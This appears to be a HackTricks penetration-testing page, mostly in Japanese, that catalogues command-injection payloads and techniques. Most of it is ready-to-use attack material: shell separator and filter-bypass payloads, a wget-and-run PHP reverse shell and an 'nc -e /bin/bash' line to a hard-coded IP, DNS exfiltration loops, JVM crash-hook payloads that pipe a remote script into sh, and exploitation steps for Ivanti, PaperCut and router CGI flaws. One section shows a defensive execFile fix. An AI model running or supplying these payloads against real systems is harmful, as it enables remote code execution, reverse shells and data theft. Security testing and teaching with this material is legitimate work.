Command Injection
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。
command Injection とは何か?
command injection は、攻撃者がアプリケーションをホストしているサーバ上で任意のオペレーティングシステムコマンドを実行できるようにする攻撃手法です。その結果、アプリケーションおよびその全データが完全に侵害される可能性があります。これらのコマンドの実行により、攻撃者は通常、アプリケーションの環境や基盤となるシステムに対する不正なアクセスや制御を得ることができます。
コンテキスト
入力がどこに挿入されているかに応じて、コマンドの前に引用されたコンテキストを終了させる(" または ' を使用)必要がある場合があります。
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
runkit が有効な PHP のルールエンジン
一部のアプリケーションは、管理者専用の「ルールエンジン」を攻撃者が提供した PHP を実行することで実装しています。環境で runkit 拡張が有効な場合、攻撃者は実行時に関数を再定義または注入でき、ロジックのみのルールエディタを完全な PHP RCEにエスカレートできます。
指標:
- 管理者向け UI が評価される PHP 風の「ルール」を受け付ける。
runkit/runkit7がロードされている(phpinfo()またはextension_loaded('runkit'))。
悪用例(ルールで使用される関数を再定義してコマンドを実行する):
<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
ルールの内容が保存され、後で評価されると、それはwebコンテキスト内で持続的なRCEプリミティブになります。
制限 バイパス
もしlinuxマシン内で任意のコマンドを実行しようとしている場合は、次の**バイパス:**を参照すると良いでしょう。
例
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
RewriteMap/CGI-style スクリプトにおける Bash の算術評価
RewriteMap helpers written in bash は、クエリパラメータをグローバルに入れ、その後 算術コンテキスト ([[ $a -gt $b ]], $((...)), let) で比較することがある。算術展開は内容を再トークン化するため、攻撃者が制御する変数名や配列参照が二重に展開され、実行され得る。
Pattern seen in Ivanti EPMM RewriteMap helpers:
- パラメータがグローバルにマップされる (
st→gStartTime,h→theValue). - 後でチェック:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
st=theValueを送るとgStartTimeが文字列theValueを指すようになる。h=gPath['sleep 5']を送るとtheValueに配列のインデックスが入り、算術チェック中にsleep 5が実行される(実際のペイロードに置き換えてください)。
Probe (~5s delay then 404 if vulnerable):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
注意:
- 他のプレフィックスの下に同じヘルパーがないか確認する(例:
/mifs/c/aftstore/fob/)。 - 算術コンテキストでは未知のトークンを変数/配列の識別子として扱うため、これにより単純な metacharacter フィルタを回避できる。
パラメータ
以下は code injection や類似の RCE 脆弱性に影響を受けやすい可能性のある上位25のパラメータです (出典: link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
データの抽出: charごとに
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS を使った data exfiltration
この手法は https://github.com/HoLyVieR/dnsbin のツールに基づいており、dnsbin.zhack.ca にもホストされています
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
DNS based data exfiltration をチェックするオンラインツール:
- dnsbin.zhack.ca
- pingb.in
フィルタリングバイパス
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
JavaScript/TypeScript のバックエンドを監査する際、しばしば Node.js の child_process API に遭遇します。
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() は shell (/bin/sh -c) を起動します。したがって、shell に特殊な意味を持つ文字(back-ticks、;、&&、|、$()、…)がユーザー入力を文字列に連結した際に含まれていると、command injection を引き起こします。
対策: execFile() を使う(または spawn() を shell オプションなしで使用)し、各引数を別々の配列要素として渡すことで shell を介さないようにします:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
先頭ハイフンによる引数/オプション注入 (argv, no shell metacharacters)
すべての注入が shell メタ文字を必要とするわけではない。アプリケーションが信頼できない文字列をシステムユーティリティへの引数として渡す場合(execve/execFile を使っていて shell を介していなくても)、多くのプログラムは - または -- で始まる引数をオプションとして解釈する。これにより攻撃者はシェルを経由することなくモードを切り替えたり、出力先を変更したり、危険な動作を引き起こしたりできる。
よく見られる場所:
- 埋め込み型 web UI/CGI ハンドラで
ping <user>,tcpdump -i <iface> -w <file>,curl <url>などのコマンドを組み立てるケース。 - 集中型 CGI ルータ(例:
/cgi-bin/<something>.cgiのようなセレクタパラメータtopicurl=<handler>を持ち、複数のハンドラが同じ弱いバリデータを再利用している場合)。
試すこと:
- ダウンストリームのツールにフラグとして解釈されるよう、
-/--で始まる値を渡す。 - 挙動を変えたりファイルを書き込んだりするフラグを悪用する。例えば:
ping:-f/-c 100000でデバイスを負荷で圧迫する (DoS)curl: 任意パスに書き込むための-o /tmp/x、攻撃者制御の設定を読み込む-K <url>tcpdump: 不安全なラッパーでローテート後の実行を達成するための-G 1 -W 1 -z /path/script.sh
- プログラムが
--end-of-options をサポートする場合、誤った位置に--を前置するような単純な緩和策を回避できるか試す。
集中型 CGI ディスパッチャに対する一般的な PoC 例:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM 診断コールバックで確実な exec
JVM コマンドライン引数を注入できる任意のプリミティブ(_JAVA_OPTIONS、launcher config files、AdditionalJavaArguments フィールドなど)は、アプリケーションの bytecode に触れずに信頼できる RCE に変換できます:
- Force a deterministic crash by shrinking metaspace or heap:
-XX:MaxMetaspaceSize=16m(or a tiny-Xmx). これによりブートストラップ初期でもOutOfMemoryErrorが確実に発生します。 - Attach an error hook:
-XX:OnOutOfMemoryError="<cmd>"or-XX:OnError="<cmd>"は JVM が異常終了するたびに任意の OS コマンドを実行します。 - 必要に応じて
-XX:+CrashOnOutOfMemoryErrorを追加してリカバリ試行を防ぎ、ペイロードをワンショットにします。
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- 脆弱な NG/MF ビルド(例: 22.0.5 Build 63914)は
/app?service=page/SetupCompletedを公開している。そこをブラウズして Login をクリックすると、資格情報なしで有効なJSESSIONIDが返される(setup フローでの authentication bypass)。 - Options → Config Editor で
print-and-device.script.enabled=Yとprint.script.sandboxed=Nを設定して、printer scripting を有効にしサンドボックスを無効にする。 - プリンターの Scripting タブでスクリプトを有効にし、バリデーションエラーを避けるために
printJobHookを定義したままにするが、ペイロードは関数の外側に配置して Apply をクリックしたときに即座に実行されるようにする(プリントジョブは不要):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- callback を reverse shell に差し替える。UI/PoC が pipes/redirects を扱えない場合、1つのコマンドで payload をステージし、2回目のリクエストでそれを exec する。
- Horizon3 の CVE-2023-27350.py は auth bypass、config flips、command execution、rollback を自動化する。サービスが内部からのみ到達可能な場合は、upstream proxy(例:
proxychains→ Squid)経由で実行する。
Brute-Force 検出リスト
参考
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- HTB: Gavel
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。


